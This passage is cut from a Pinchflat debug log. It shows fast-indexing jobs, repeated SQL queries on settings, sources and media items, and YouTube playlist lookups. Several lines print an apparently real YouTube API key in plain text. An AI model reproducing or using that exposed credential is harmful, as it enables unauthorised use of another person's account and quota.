s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:33.151 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:16:33.151 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:33.151 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:33.246 [debug] QUERY OK source="media_items" db=0.5ms idle=94.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:16:33.247 [debug] QUERY OK source="media_items" db=0.2ms idle=95.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:16:33.248 [debug] QUERY OK source="tasks" db=0.1ms idle=96.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800156, 17, ~U[2026-02-10 23:16:33Z], ~U[2026-02-10 23:16:33Z]] 17:16:33.248 [info] {"args":{"id":17},"id":3800117,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":97349,"event":"job:stop","queue_time":513877,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:35.152 [info] {"args":{"id":33},"id":3800118,"meta":{},"system_time":1770765395152737988,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:35.153 [debug] QUERY OK source="sources" db=0.1ms idle=274.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:16:35.153 [debug] QUERY OK source="settings" db=0.1ms idle=274.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:35.153 [debug] QUERY OK source="media_profiles" db=0.1ms idle=275.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:35.153 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:35.153 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:16:35.153 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:35.153 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:35.281 [debug] QUERY OK source="media_items" db=0.6ms idle=127.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 17:16:35.282 [debug] QUERY OK source="media_items" db=0.5ms idle=128.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:16:35.283 [debug] QUERY OK source="tasks" db=0.1ms idle=129.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800157, 33, ~U[2026-02-10 23:16:35Z], ~U[2026-02-10 23:16:35Z]] 17:16:35.283 [info] {"args":{"id":33},"id":3800118,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130606,"event":"job:stop","queue_time":511059,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:36.153 [info] {"args":{"id":11},"id":3800119,"meta":{},"system_time":1770765396153744209,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:36.153 [info] {"args":{"id":12},"id":3800120,"meta":{},"system_time":1770765396153793872,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:36.154 [debug] QUERY OK source="sources" db=0.2ms idle=870.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:16:36.154 [debug] QUERY OK source="sources" db=0.2ms idle=870.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:16:36.154 [debug] QUERY OK source="settings" db=0.2ms idle=864.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:36.154 [debug] QUERY OK source="settings" db=0.2ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:36.154 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:36.154 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:36.154 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:36.154 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:16:36.155 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:36.155 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:16:36.155 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:36.155 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:36.155 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:36.155 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:36.300 [debug] QUERY OK source="media_items" db=0.7ms idle=144.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 17:16:36.302 [debug] QUERY OK source="media_items" db=1.1ms idle=146.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:16:36.303 [debug] QUERY OK source="tasks" db=0.1ms idle=147.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800158, 11, ~U[2026-02-10 23:16:36Z], ~U[2026-02-10 23:16:36Z]] 17:16:36.303 [info] {"args":{"id":11},"id":3800119,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149374,"event":"job:stop","queue_time":511511,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:36.406 [debug] QUERY OK source="media_items" db=0.8ms idle=102.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 17:16:36.407 [debug] QUERY OK source="media_items" db=0.5ms idle=103.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:16:36.408 [debug] QUERY OK source="tasks" db=0.1ms idle=98.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800159, 12, ~U[2026-02-10 23:16:36Z], ~U[2026-02-10 23:16:36Z]] 17:16:36.408 [info] {"args":{"id":12},"id":3800120,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":254442,"event":"job:stop","queue_time":390175,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:37.154 [info] {"args":{"id":27},"id":3800121,"meta":{},"system_time":1770765397154861000,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:37.155 [info] {"args":{"id":28},"id":3800122,"meta":{},"system_time":1770765397154926020,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:37.155 [debug] QUERY OK source="sources" db=0.1ms idle=746.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:16:37.155 [debug] QUERY OK source="sources" db=0.2ms idle=746.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:16:37.155 [debug] QUERY OK source="settings" db=0.1ms idle=740.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:37.155 [debug] QUERY OK source="settings" db=0.2ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 